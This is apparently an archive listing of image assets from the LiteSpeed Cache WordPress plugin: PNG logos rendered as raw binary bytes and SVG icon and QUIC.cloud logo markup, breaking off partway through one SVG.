litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/slack-logo.png000064400000002271151031165260021110 0ustar00�PNG


IHDRKK����PLTEGpL��8��;��9��:��:��9��:�����;O��O��O��O��P��O��O�詟8O����������Ԫ8v�6f��t�M��]����,��k�zO��U������������{��2���9��:�V��T��T��T��T��R��U�/���4�e)�9�GU��.�E-�P{�T��S�Gsw]=U,��UYg�Jpu@\�Ny�p��Eh�mG�De�����HtRNS'@[���a�8����P[��������� ���9������'��Ga�����������������p "�HIDATx՗���8EV�A��a~4���ʶǾՕ^e�Yx�p �n_�R��$���~L�tƐN�C�	H�V%3!���F�\\WP{t��JӯT�X,���i�m�E�\�P-~ݕGWNj�O�__��W+@Ñh�\�m7�EqP?<<���-a��Ḃ������Hĩݥ<7���'ѵ���++�H?R�,#<'�S�<�.������a$��)�������V�8Wؾ�t�F��Ŏ#�BW�DBx�e���P4����?�8ځi�aZA���A&��hR$b�"h���!�<�D̘�"Y��T��>d?�d?�T�<��X��Bn�}�����Z.�1i�/T`Hh��s�	�*!cdDb["���%�ۧH*���%k�"EH�B_n����bC���܉�_��Zk����E"���?�u�9랂Q$<ݤ�M�� YT��#�yu}��5_����2��ۻk�F��kmD�b��B�&��hH�G�}�D�Y]'�@B��5r�g�t�����7���s�����6��`��ۧH��k��>E"`Hhߧ���G�>�\9�����o?x��_������O��n��~�R�?��l��r���G��g>$E2&�ܦZ�|^5�D���x��oS��(��H��~�O�q"���4�*h�q�d�S�}_����?�o��BS:�'o�"��.x[X�&��Ϩ�WP=�ȧnZY\���x�`����F�%9���5�si�����̗M�+^�)��H؃=���`�;�z^���k�Ψ���Lm��x|�ѥb�h���c2.M�*�����*�
����{-��IEND�B`�litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/quic-cloud-logo-light_stack_300px.png000064400000007133151031165260025306 0ustar00�PNG


IHDR,,N�~G�PLTE>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ksp��p��p��p��p��p��p��p��p��p��p��p��p��p��p��f��f��f��f��f��f��f��f��f��f��f��f��f��f��f��>PY\ksp��f��^ۧ_=tRNS 0@P`p���������������p`P@0  0@P`p���������������p`P@0 ���,
IDATx��k[�8�(2�"���P�@���x��UmmK�$4I�0�{�e�ҡ7o����`�0����!��>6-���Y�����������'�Ge1F���t=&�`y�s���cjё���a�S��p2�
ך���qU�q8#9={z\6��\,r����,4���9�N7��3AG�n{�сL�����AM���IX�O&/��6�ra"��wu��a�n�\\"����
�U7��\1l�=.Tm�����tٽ쮟U�~0�]��U��;��T���,���Z0�3j{�"2s��lM)�u�-tQ̎�ǖ�X�8tI�m������ǖ��x�T*3����E��mYA^�u��	�z�揭Yj!jD�G�����	�m��"|�������	y�P�%.�3V�9�Ѱ�q>D��
��sE
X�[6��G��Ä�ɖI�-F�g^&�,�;Ĕf�۹c�"�%0z��!����S��9�l�Y�v�H���jj������5C"���X��U��h*��2��ٱ%V�Aߎ#�bKw�����4+`9UpA~,�"l�	
G�;��)%G�.��sL��DKB+�bl�SKlHS6V�S~l͕-�AV�%=���ޛ,�}z���Rm2=�W���f��}+����^>�������y�"uJ7��SK#we=ov<>�.�����Y�2�~�����?�Xʍ����>6O��V�7W,F�u��M��^S�%�+i���g=o�<�n`��b���i)��Af"����ñ������m�
�md�����ų���I��w%�PM�z֟M���60\�V�&|�O�qlI��i��m�,��m���Ji�Rq�V�>(�fR�]MY.s���ǦD[2b��|cE2�]~�m-e�Z
���є:�1�-�
C���7�������j�6�Bsg���M���y�����p_�o<�>�l`��ʲ8L��͌ؒ��;�o�`t��>i�5�-ݖ5������
�k<�㴥�BqW,�˿-�26�m�_n�^��W���MɈ-��Գ��S��G�濇���gⰄ}^}��[=,#�mN�f|��ؚy�Xa���Og	���x��w�J���U嫒�bQ,�Gƙ�GQ
Nnz��&�xl��45w=���~̟�֖�����5�bl��#��/�-=��#p?.�A�_e��e�o`�|$�Ԃ(1)��Bb1�[:��9V���mوb�-
v�akN��"Ŗ�����	�ֻ[��wwD٦~Xƶ8�����5����lJ-x#��$��#����SzJ-��U��]�4_q�]�[��^���w���/�Ʀ��/6a����[F}>�M���-�}�>�]�*�ϗ�7��+6�7y47�#clʭ�ߞ�)uȘ�1̏"�Ҍ�KL��uE�a�04)�eO�ZQMv=�Ɂ������yZ+��9�����������_���d{N;�o-���P�w�
G���z�C3�\��	[�
L����?�JrD���ZçV-�4��(���R�=*g����S=A(#�t�s��VN	Y�@��O��G���zss^-!N�U�5Wi�e)�����.5d�6W4��eU�g>E<(!�NJ@�$(��$���8PAV}/����gIHV5q�F��h���9���"W�i9�~\ĶdE��_��D����_V53vO�
��/�䫈�X�d�����ٲ�ޖ[�qd����Cd���fQ[���*gnVQ�]V��Zѹ��\_�CZ��1�G�j(�]g���)�Aܓ�bK����+��,kp�ޣ�'�Һؑ1�u����f��]�.�s�=W�U^�T��uu���5�u�������!�0��;��� �Q&gAm�ɪ��	T�-����tWZ��^XN��푽N�_���v�|o�����>�Yez��|�GV�X�
�7���Z�LV誋�1e%]�n#����Y�Y��Q�����3�=���M˺�/��wdǿ�e]�k{�~��>-�ɓ�� w8d�9
��^m���A�t�� Y�u��6UVJ��P�CV�cRs����ZJ�Ut$f�58@� ��h-��
�ƍ��!�����3H|\��gW�du	��>E�I�H9��++ߔ�6"�t����_o���
��ɲ�,Y�WVx8�B/�!��]	j���)�6,@�,�����0Fز�G�Ou���Q+���,�m�e�]���K��+� bp���M�t��Ҟ�J����=b�
��(g�ˢ����w��#�Q$�d!�e�r�*�f�q;=��TFqY��TYmqY��d��*#?���eE��Q�#�,t�m����.R�j��%GVG4�Z<����N}��T�g)Y��A�ް��
qJM�5U�8?|��|����.ˬl��"u�E82z�%�<�–h�
%��d��:�Ӵ�ڊ�Z�s,�Ѹ\`��౲��`#x<����䮝7|?q�\����������O2/�w�,�%�4��R�_S����4Y��j1��8�d���O8kb+m-�ઃ֎,�iYk@��MhŴ���[����f�M�0���-�`�a?B�iI��?V�H� ��d���|�H�'��p�ޟ��+�E��
<�t��u=�
5X-g�FT��M��3^\ɍ87����Oy�YO�w=ț?X>����6�����Y��Л�ٷ�F{���CB㦈�dV�/��R�Y�fY�iQ�&����w+�Nk��	�4�S�^�)o�~�ſ�ԣ,�4�2&3S�V�2���lw�6��;x��B��f#Zu�ծ!B���$sQ�q�W����fe�˝��(�L�[&����
IS����Y-a$���� �BX��.�p��w�㙣���~z�[@Xb椇�g��MP��z��s��㠧^5�nd�S��R��H�u��8��"YR�f�W���Lq����b��?�S��d��n�T�A-ÂC����<���~�Q���94'̝腸7�,{V�hr��XԈ��e�d�����}���X>�i����?��Э�7\�ύ��|F��	M��$���Y�kԃ9ކv��d��15]�V��KVb�S���n��-F�+K�o���E�of�O��\�ԏ�rw|Џ�w��ꁎF"""""""""""""""""""""""""""""""""""""�z�Θ����cIEND�B`�litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/lscwp_gray-yellow_font-icon_22px.svg000064400000003170151031165260025401 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="22px" height="22px" viewBox="0 0 22 22" enable-background="new 0 0 22 22" xml:space="preserve">
<path fill="#FFCC00" d="M13.039,7.954c-0.063-0.128-0.193-0.21-0.336-0.21c-0.119,0-0.207,0.054-0.268,0.102L9.84,9.838
	c-0.208,0.158-0.254,0.461-0.104,0.675l0.813,1.17l-1.521,1.93c-0.141,0.18-0.113,0.336-0.065,0.434
	c0.06,0.125,0.194,0.209,0.334,0.209c0.123,0,0.208-0.055,0.271-0.102l2.593-1.992c0.157-0.121,0.211-0.33,0.146-0.578
	c-0.012-0.041-0.027-0.076-0.052-0.114l-0.803-1.154l1.521-1.93C13.111,8.207,13.086,8.052,13.039,7.954z"/>
<path fill="#777777" d="M21.771,10.677L11.323,0.229c-0.088-0.086-0.202-0.135-0.324-0.135c-0.123,0-0.236,0.048-0.324,0.134
	L0.228,10.677c-0.086,0.088-0.134,0.201-0.134,0.324c0,0.122,0.048,0.236,0.134,0.324l10.448,10.446
	c0.087,0.088,0.202,0.135,0.324,0.135s0.237-0.047,0.324-0.135L21.77,11.324c0.088-0.085,0.137-0.201,0.137-0.323
	C21.904,10.879,21.855,10.765,21.771,10.677z M11.424,1.625l8.956,8.956h-2.989c-0.017,0-0.035,0.001-0.052,0.003l-5.915-5.913
	V1.625z M10.584,1.617v3.045l-5.92,5.919H1.62L10.584,1.617z M10.584,20.387L1.62,11.421h3.044l5.92,5.918V20.387z M10.999,16.504
	l-5.501-5.502L10.999,5.5l5.503,5.502L10.999,16.504z M11.424,20.377v-3.045l5.913-5.914c0.019,0.001,0.037,0.003,0.054,0.003h2.989
	L11.424,20.377z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/lscwp-logo_90x90.png000064400000003224151031165260022013 0ustar00�PNG


IHDRZZv�0�PLTEGpL�����������u������������������ռ�������а�������˝��������������z}jknsvy���Kdrs�3��hikc�5������������M����efi��Sy�_�J��1Ds��AԤ_ad�������ج��;r�{����ss/:GQ7im����,��X'\]_bJ#Do[]`uI��tRNS`���(��MlIDATx���!EQ,��_�w���r��yj��m��EF����f@�1"�!���2�I[d��e���fӁCL)��I>��a���n��w��g/�i�p��I)�E�<B] ���mh.��Kپ�W���Bb��sǭ�c��#O����'8��Z�6P��o9�,C���ma�6�mk�:�i]�Æl��hz�m4� u	\��\L�i؞�4t4���K����X�E4�~л_��??��Ū��<��A�L�w�jv������	��p�Q�����i�ӏu�|hO���-ڸ��^
t��p<yj}%����{[w��9����I�sؕܠmՅtsy��<������������lz:���ZZv�LH���9mJt�܀�̦؍;��h�AM����^��sАn���GI�6�r��}�!kh�e�Z�yp�R�M�l��,���Bȋ�p�1��r0/��z�l?T�٫��8�<����52����f���feyq!�c�h{ui���=�3�Zؐ2�w\S�|<�&mD�$MrKE71�Z��acE�tb�\����Ey�M2�$����ֹ<����k�ln^3�/�5�$m8~�u.� Os�:���$�䒝$�����n6aS�Tʳɕ�u��.֔7,����DV�6l�!o����F���xټ��ުf��F6hFT4�g��h4�8�	�����l~,`�W��g��	�-��it����$�ɀ}X����u��r���ē$i<%�{��&EOG,�?���S#> d�ٛח�����2�Y���I�i�=ˆ8N�m���-dDʉ��,���F�;P���fR�tN�!��8��Q�������k�6mbDL��|<9��{;�8@>bB����Hʒ�i
��(2"m
�GȘ]�=�m�l�oK��[6:�벌�T���+e�ە���bJrLr\Ƞ������\�%�X�b��I��E&��!��(-�?w� {�T�o�r��>.��O'��O�����p!��5EE�lG�/#m��<�:��]L!B6AW�6`��s\�|���͠wE�vN9�ʷi�fT��
��2��D;Jڦe���;�3�^�A�ֶCt�U��Yv��7����hӁ�ֿ>�C�o�$���Վ^@�t4p��H��Ӭ�-����u�s�e������Y�܋"�|��?Xt�f��2l��t�{�FB���>�@%�,t���x��9C�+Y�Wuf�ŏ��n[�2ֻH�>'�Մ���O:j��ky^;
���9��.Q��,�����w�RL��S�N�vu4d��rK##�a�h��k:k�S'

��ɚX8��?}�y�mY���O���r����܎�����yr��O��?��:�E�VIEND�B`�litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/lscwp_font-icon_32px.svg000064400000004632151031165260023053 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="32px" height="32px" viewBox="0 0 32 32" enable-background="new 0 0 32 32" xml:space="preserve">
<path fill="#FFCE00" d="M18.955,11.586c-0.09-0.185-0.281-0.305-0.486-0.305c-0.174,0-0.301,0.079-0.389,0.147l-3.761,2.888
	c-0.301,0.229-0.368,0.669-0.151,0.979l1.179,1.696l-2.204,2.796c-0.204,0.262-0.165,0.486-0.096,0.629
	c0.086,0.181,0.281,0.303,0.484,0.303c0.178,0,0.302-0.081,0.391-0.149l3.76-2.887c0.229-0.173,0.305-0.478,0.209-0.836
	c-0.016-0.059-0.039-0.111-0.074-0.166l-1.164-1.672l2.205-2.797C19.061,11.952,19.023,11.729,18.955,11.586z"/>
<path fill="#00CCFF" d="M31.611,15.531L16.469,0.389C16.344,0.264,16.177,0.194,16,0.194c-0.178,0-0.344,0.069-0.47,0.194
	L0.389,15.531C0.264,15.656,0.195,15.822,0.195,16c0,0.177,0.069,0.344,0.194,0.469L15.531,31.61
	c0.126,0.126,0.292,0.194,0.47,0.194c0.177,0,0.344-0.068,0.469-0.194l15.142-15.142c0.125-0.124,0.195-0.291,0.195-0.469
	C31.807,15.823,31.736,15.656,31.611,15.531z M16.616,2.412l12.98,12.979h-4.334c-0.023,0-0.051,0.002-0.074,0.005l-8.572-8.57
	V2.412z M15.398,2.399v4.413l-8.579,8.578H2.406L15.398,2.399z M15.398,29.601L2.406,16.609h4.413l8.579,8.578V29.601z M16,23.974
	L8.027,16L16,8.026L23.975,16L16,23.974z M16.616,29.587v-4.413l8.57-8.569c0.025,0.003,0.053,0.005,0.076,0.005h4.334
	L16.616,29.587z"/>
<path fill="#3399CC" d="M16,8.026L8.027,16L16,23.974L23.975,16L16,8.026z M17.816,16.681c0.035,0.055,0.059,0.107,0.074,0.166
	c0.096,0.358,0.02,0.663-0.209,0.836l-3.76,2.887c-0.089,0.068-0.213,0.149-0.391,0.149c-0.203,0-0.398-0.122-0.484-0.303
	c-0.069-0.143-0.108-0.367,0.096-0.629l2.204-2.796l-1.179-1.696c-0.217-0.31-0.149-0.749,0.151-0.979l3.761-2.888
	c0.088-0.068,0.215-0.147,0.389-0.147c0.205,0,0.396,0.12,0.486,0.305c0.068,0.143,0.105,0.366-0.098,0.626l-2.205,2.797
	L17.816,16.681z M25.188,15.396l-8.572-8.57V2.412l12.98,12.979h-4.334C25.238,15.391,25.211,15.393,25.188,15.396z M6.819,15.391
	H2.406L15.398,2.399v4.413L6.819,15.391z M6.819,16.609l8.579,8.578v4.413L2.406,16.609H6.819z M25.262,16.609h4.334l-12.98,12.978
	v-4.413l8.57-8.569C25.211,16.607,25.238,16.609,25.262,16.609z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/quic-cloud-logo.svg000064400000027160151031165260022077 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
	<!ENTITY ns_flows "http://ns.adobe.com/Flows/1.0/">
	<!ENTITY ns_extend "http://ns.adobe.com/Extensibility/1.0/">
	<!ENTITY ns_ai "http://ns.adobe.com/AdobeIllustrator/10.0/">
	<!ENTITY ns_graphs "http://ns.adobe.com/Graphs/1.0/">
]>
<svg version="1.1" id="Layer_1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;"
	 xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:a="http://ns.adobe.com/AdobeSVGViewerExtensions/3.0/"
	 x="0px" y="0px" width="600px" height="400px" viewBox="0 -125 600 400" enable-background="new 0 -125 600 400"
	 xml:space="preserve">
<g>
	<g>
		<path fill="#5C6B73" d="M461.045-49.469c-13.746-18.064-33.701-29.694-56.178-32.739c-17.676-2.396-35.33,0.73-51.08,9.056
			c-2.104,1.107-4.16,2.307-6.145,3.575l-7.078,5.321l18.271,24.019l5.572-4.232c1.121-0.701,2.289-1.375,3.479-2.007
			c10.148-5.354,21.523-7.373,32.912-5.834c14.51,1.972,27.369,9.47,36.232,21.117c8.871,11.647,12.662,26.047,10.693,40.55
			c-4.064,29.937-31.746,50.981-61.664,46.925c-11.383-1.543-21.818-6.526-30.17-14.401c-0.998-0.947-1.939-1.905-2.813-2.851
			l-68.845-90.48l-0.023,0.283l-7.256-9.53l-0.784-0.954c-1.647-1.833-3.396-3.62-5.175-5.291
			c-13.519-12.753-30.406-20.811-48.829-23.319c-48.422-6.575-93.197,27.483-99.769,75.922
			c-6.575,48.428,27.48,93.187,75.916,99.754c18.43,2.507,36.847-0.757,53.292-9.446c0.671-0.351,1.313-0.729,1.969-1.09
			l-18.559-24.393c-10.197,4.793-21.403,6.56-32.642,5.034c-31.951-4.343-54.41-33.854-50.075-65.801
			c4.338-31.951,33.827-54.404,65.807-50.077c12.145,1.649,23.276,6.962,32.2,15.379c1.041,0.979,2.059,2.011,3.035,3.067
			l54.112,71.125l0.025-0.288l21.975,28.879l0.756,0.92c1.545,1.725,3.219,3.448,4.982,5.112
			C348.148,76.053,364.338,83.777,382,86.177c3.865,0.533,7.695,0.78,11.494,0.78c41.813-0.009,78.352-30.991,84.137-73.548
			C480.678-9.075,474.787-31.406,461.045-49.469z"/>
		<path fill="#66CCCA" d="M313.695,70.07c-0.279-0.289-0.586-0.577-0.854-0.866l-34.862-45.783
			c-1.517-1.696-3.168-3.388-4.907-5.031C260.115,6.169,243.928-1.554,226.262-3.957c-1.688-0.225-3.364-0.39-5.052-0.513h-2.586
			l12.864,16.837c0.274,0.28,0.587,0.575,0.851,0.86l34.866,45.787c1.521,1.694,3.168,3.387,4.909,5.023
			c12.959,12.22,29.142,19.95,46.806,22.342c1.689,0.236,3.369,0.395,5.055,0.521h2.58L313.695,70.07z"/>
	</g>
	<g>
		<path fill="#66CCCA" d="M305.638,230.569c-1.197-1.176-2.656-1.771-4.332-1.771c-1.672,0-3.13,0.598-4.329,1.774
			c-1.213,1.192-1.827,2.652-1.827,4.346c0,1.718,0.614,3.191,1.827,4.384c1.199,1.177,2.657,1.772,4.329,1.772
			c1.681,0,3.14-0.596,4.338-1.775c1.209-1.194,1.822-2.668,1.822-4.381C307.465,233.219,306.851,231.756,305.638,230.569z"/>
		<g>
			<path fill="#5C6B73" d="M385.161,157.189v-0.129v-0.412h-0.106c-0.146-0.635-0.459-1.222-0.913-1.715
				c-0.102-0.122-0.262-0.309-0.476-0.477c-0.064-0.049-0.136-0.089-0.206-0.126l-0.007-0.003l-0.141-0.077
				c-0.18-0.104-0.325-0.181-0.475-0.238c-0.255-0.11-0.54-0.192-0.833-0.239c-0.059-0.019-0.106-0.03-0.156-0.035
				c-0.147-0.02-0.262-0.022-0.381-0.022h-0.001h-0.078c-0.01,0-0.021,0-0.032,0c-0.171,0-0.281,0.003-0.393,0.018
				c-0.074,0.01-0.123,0.021-0.173,0.034c-0.298,0.053-0.581,0.135-0.854,0.248c-0.138,0.053-0.282,0.132-0.426,0.211l-0.131,0.076
				c-0.125,0.064-0.194,0.103-0.259,0.154c-0.215,0.164-0.377,0.352-0.491,0.493c-0.443,0.477-0.751,1.062-0.898,1.695h-0.068
				l-0.037,0.412v0.129v0.206c-0.007,0.026-0.01,0.06-0.01,0.097v0.031l0.008,0.08l0.002,0.859v27.892v0.127h0.001l-0.001,0.309
				v0.119l0.008,9.874l-0.008,9.864v0.129l0.001,0.31h-0.001v0.129v27.841v0.923c-0.007,0.024-0.01,0.06-0.01,0.099v0.028
				l0.008,0.081l0.002,0.193v0.129v0.412h0.105c0.147,0.634,0.458,1.222,0.914,1.715c0.151,0.187,0.303,0.342,0.476,0.474
				c0.064,0.052,0.135,0.09,0.206,0.126l0.149,0.087c0.2,0.109,0.334,0.184,0.476,0.236c0.257,0.11,0.543,0.192,0.833,0.24
				c0.04,0.015,0.101,0.031,0.161,0.036c0.137,0.016,0.253,0.019,0.374,0.019h0.148c0.119,0,0.235-0.003,0.355-0.018
				c0.078-0.008,0.138-0.024,0.197-0.04c0.269-0.044,0.556-0.126,0.833-0.242c0.122-0.045,0.256-0.119,0.388-0.193l0.165-0.093
				c0.124-0.066,0.194-0.104,0.259-0.155c0.171-0.134,0.324-0.286,0.493-0.496c0.441-0.477,0.75-1.062,0.896-1.693h0.069
				l0.037-0.412v-0.129v-0.207c0.006-0.023,0.01-0.06,0.01-0.098v-0.029l-0.009-0.08l-0.001-0.861v-27.89v-0.129h-0.002l0.002-0.309
				v-0.119l-0.009-9.874l0.009-9.864v-0.129l-0.002-0.31h0.002v-0.129v-27.841v-0.921c0.006-0.026,0.01-0.06,0.01-0.097v-0.031
				l-0.009-0.08L385.161,157.189z"/>
			<path fill="#5C6B73" d="M363.642,223.593c-1.639,0-2.675,1.138-3.592,2.145c-0.222,0.245-0.444,0.488-0.67,0.714
				c-4.262,4.264-9.473,6.425-15.491,6.425c-5.988,0-11.18-2.161-15.434-6.422c-4.259-4.25-6.418-9.46-6.418-15.484
				c0-6.016,2.159-11.215,6.417-15.456c4.265-4.241,9.456-6.394,15.435-6.394c6.017,0,11.23,2.147,15.498,6.377
				c0.248,0.249,0.483,0.513,0.715,0.773c0.901,1.009,1.831,2.057,3.505,2.057c2.104,0,3.817-1.711,3.817-3.815
				c0-1.115-0.523-2.211-1.4-2.933l-0.148-0.173c-0.374-0.419-0.747-0.84-1.138-1.229c-5.729-5.727-12.744-8.63-20.849-8.63
				c-8.073,0-15.071,2.903-20.799,8.63c-5.726,5.726-8.629,12.722-8.629,20.796c0,8.108,2.905,15.124,8.629,20.853
				c5.723,5.725,12.721,8.627,20.799,8.627c8.108,0,15.124-2.903,20.851-8.627l0.327-0.326c1.121-1.104,2.391-2.357,2.391-4.088
				C367.457,225.304,365.746,223.593,363.642,223.593z"/>
			<path fill="#5C6B73" d="M576.27,235.708l0.005-77.972l0.01-0.044c0.016-0.117,0.03-0.235,0.03-0.354
				c0-2.021-1.642-3.662-3.661-3.662c-1.51,0-2.883,0.955-3.417,2.376c-0.148,0.326-0.23,0.693-0.23,1.067v0.106
				c-0.007,0.03-0.012,0.07-0.012,0.109v0.029l0.01,0.092l-0.024,33.375c-0.196-0.216-0.397-0.429-0.603-0.638
				c-5.741-5.738-12.758-8.644-20.866-8.644c-8.074,0-15.071,2.903-20.796,8.629c-5.525,5.519-8.324,12.534-8.324,20.846
				c0,8.285,2.799,15.281,8.322,20.801c5.722,5.725,12.72,8.627,20.796,8.627c8.111,0,15.127-2.903,20.853-8.627
				c0.214-0.221,0.427-0.446,0.643-0.681v4.9c-0.007,0.032-0.011,0.072-0.011,0.113v0.028l0.009,0.094l0.002,0.099
				c0,0.375,0.082,0.744,0.243,1.099c0.535,1.41,1.876,2.34,3.405,2.34c2.019,0,3.66-1.641,3.66-3.658
				c0-0.122-0.014-0.24-0.03-0.359L576.27,235.708z M547.511,232.874c-6.016,0-11.228-2.153-15.486-6.393
				c-4.258-4.239-6.417-9.44-6.417-15.46c0-6.014,2.159-11.224,6.418-15.483c4.262-4.259,9.472-6.418,15.485-6.418
				c6.017,0,11.229,2.159,15.488,6.418c3.182,3.182,5.206,6.927,6.018,11.134l-0.016,8.857c-0.798,4.045-2.821,7.747-6.006,10.925
				C558.741,230.715,553.528,232.874,547.511,232.874z"/>
			<path fill="#5C6B73" d="M424.079,181.547c-8.077,0-15.075,2.903-20.804,8.629c-5.724,5.723-8.625,12.737-8.625,20.846
				c0,8.082,2.901,15.082,8.625,20.799c5.729,5.729,12.729,8.632,20.804,8.632c8.107,0,15.113-2.903,20.825-8.627
				c5.707-5.735,8.602-12.734,8.602-20.804c0-8.103-2.895-15.114-8.602-20.843C439.195,184.45,432.188,181.547,424.079,181.547z
				 M424.079,232.874c-6.021,0-11.235-2.153-15.492-6.393c-4.256-4.242-6.415-9.443-6.415-15.46c0-6.014,2.161-11.224,6.42-15.483
				c4.257-4.259,9.468-6.418,15.487-6.418c6.016,0,11.225,2.159,15.485,6.418c4.257,4.262,6.415,9.47,6.415,15.483
				c0,6.017-2.158,11.218-6.412,15.46C435.309,230.721,430.098,232.874,424.079,232.874z"/>
			<path fill="#5C6B73" d="M505.793,185.807c-2.018,0-3.659,1.644-3.659,3.661c0,0.059,0.007,0.113,0.015,0.168l0.005,29.258
				c0,3.874-1.421,7.229-4.227,9.972c-2.92,2.854-8.329,4.393-11.938,4.393c-4.44,0-9.219-1.772-11.887-4.412
				c-2.829-2.736-4.262-6.083-4.262-9.952v-29.282c0.011-0.052,0.016-0.099,0.016-0.144v-0.032l-0.013-0.106v-0.064l-0.013-0.056
				c-0.15-1.925-1.735-3.402-3.637-3.402c-2.018,0-3.659,1.641-3.659,3.661c0,0.109,0.013,0.22,0.027,0.325l0.015,0.091
				l-0.004,29.413c0.106,6.019,2.166,11.069,6.12,15.02c3.827,3.83,10.474,6.208,17.346,6.208c6.608,0,13.547-2.494,17.264-6.207
				c3.954-3.954,6.014-8.996,6.122-14.988v-29.542l0.01-0.045c0.011-0.091,0.023-0.179,0.023-0.274
				C509.454,187.45,507.813,185.807,505.793,185.807z"/>
		</g>
		<path fill="#3E5059" d="M115.191,239.357c-0.092-0.095-0.187-0.206-0.283-0.318c-0.152-0.178-0.31-0.358-0.465-0.506
			c-2.794-2.598-6.042-4.749-9.574-6.449c-4.631-2.231-9.765-3.672-15.143-4.138c-0.95-0.082-1.949-0.122-2.963-0.122
			c-3.878,0-7.742,0.603-11.48,1.185c-3.692,0.575-7.51,1.169-11.292,1.169c-1.788,0-3.438-0.129-5.043-0.393
			c-8.268-1.365-15.592-5.88-20.096-12.395c-4.826-6.981-6.526-16.369-4.662-25.756c0.082-0.409,0.211-0.807,0.309-1.213
			c1.856-7.615,6.706-14.472,13.219-18.495c4.822-3.003,10.729-4.591,17.084-4.591c2.812,0,5.616,0.314,8.339,0.939
			c6.824,1.563,13.078,5.532,17.159,10.885l0.264,0.371l0.187,0.263l0.011-0.009c0.871,1.217,1.636,2.493,2.275,3.807
			c2.363,4.676,3.521,10.303,3.422,15.948c-0.062,3.489-0.596,6.985-1.633,10.272c-0.406,1.286-0.928,2.533-1.505,3.753
			c-0.891,1.88-1.947,3.669-3.18,5.268c-0.273,0.353-0.589,0.715-0.896,1.076c0.507,0.022,1.028,0.022,1.513,0.064
			c3.187,0.273,6.28,0.909,9.245,1.822c0.109-0.169,0.224-0.342,0.322-0.501c3.759-6.126,5.757-13.316,6.038-20.6
			c0.346-8.969-1.918-18.08-6.795-25.52c-7.132-10.883-20.513-17.642-34.919-17.642c-2.055,0-4.119,0.139-6.136,0.413
			c-16.93,2.294-30.066,14.405-33.725,30.625c-0.271,1.198-0.5,2.413-0.663,3.654c-1.302,9.836,0.305,19.577,4.524,27.428
			c4.163,7.747,11.03,13.889,19.333,17.288c5.054,2.065,10.708,3.115,16.811,3.115c1.157,0,2.345-0.037,3.525-0.115l0.008-0.207
			c0.005-0.002,0.009-0.002,0.014-0.002l0.033,0.206l0.264-0.03l0.265-0.027c0.653-0.066,1.303-0.138,1.953-0.211
			c1.326-0.155,2.584-0.408,4.077-0.824c0.109-0.03,0.22-0.058,0.33-0.085l0.256-0.063c3.198-0.934,6.821-1.425,10.492-1.425
			c4.505,0,8.798,0.714,12.416,2.061l0.248,0.081l1.345,0.435l0.549,0.186l0.064,0.024h0.069h14.189h0.974L115.191,239.357z"/>
		<path fill="#3E5059" d="M170.995,157.525h-0.413v0.412v41.64c0,7.277-0.683,13.11-4.088,19.699
			c-3.266,6.63-11.279,10.91-20.414,10.91c-12.482,0-18.392-7.86-20.354-11.237c-1.823-3.121-3.919-8.141-3.919-19.375v-41.637
			v-0.412h-0.413h-9.037h-0.413v0.412v40.507c0,9.531,0,16.418,5.929,26.577c6.166,10.83,18.849,14.688,28.66,14.688
			c16.931,0,25.332-10.377,28.155-14.84c4.892-7.563,5.754-14.546,5.754-26.426v-40.508v-0.412h-0.413h-9.034V157.525z"/>
		<path fill="#3E5059" d="M253.379,167.907c0.047,0,0.095-0.002,0.144-0.005l0.098-0.004c10.505,0,18.071,4.435,24.683,9.224
			l3.85,2.93l0.662,0.504v-0.831l0.005-9.931v-0.173l-0.121-0.121c-6.664-6.632-15.13-10.422-25.164-11.263
			c-1.29-0.108-2.65-0.164-4.157-0.171h-0.001h-0.002c-1.505,0.007-2.865,0.063-4.159,0.171
			c-10.033,0.841-18.499,4.631-25.164,11.263l-0.003,0.004l-0.066,0.061l0.11,0.186l-0.047,0.047l-0.156-0.136
			c-7.635,7.635-11.505,17.603-11.505,29.63c0,12.029,3.87,21.997,11.505,29.635l0.102,0.104l0.063,0.058
			c6.666,6.636,15.132,10.423,25.164,11.264c1.281,0.109,2.643,0.166,4.159,0.171c1.52-0.007,2.879-0.062,4.16-0.171
			c10.03-0.841,18.496-4.631,25.162-11.264l0.121-0.12v-0.173l-0.005-9.931v-0.831l-0.662,0.504l-3.857,2.935
			c-6.604,4.785-14.17,9.218-24.675,9.218l-0.098-0.004c-0.049-0.002-0.097-0.005-0.146-0.005c-9.03-0.052-16.544-2.994-22.34-8.743
			c-5.848-5.857-8.813-13.476-8.813-22.646c0-9.172,2.967-16.79,8.817-22.649C236.834,170.899,244.349,167.96,253.379,167.907z"/>
		<polygon fill="#3E5059" points="201.011,157.506 194.607,157.506 194.607,157.509 193.18,157.506 192.768,157.506 
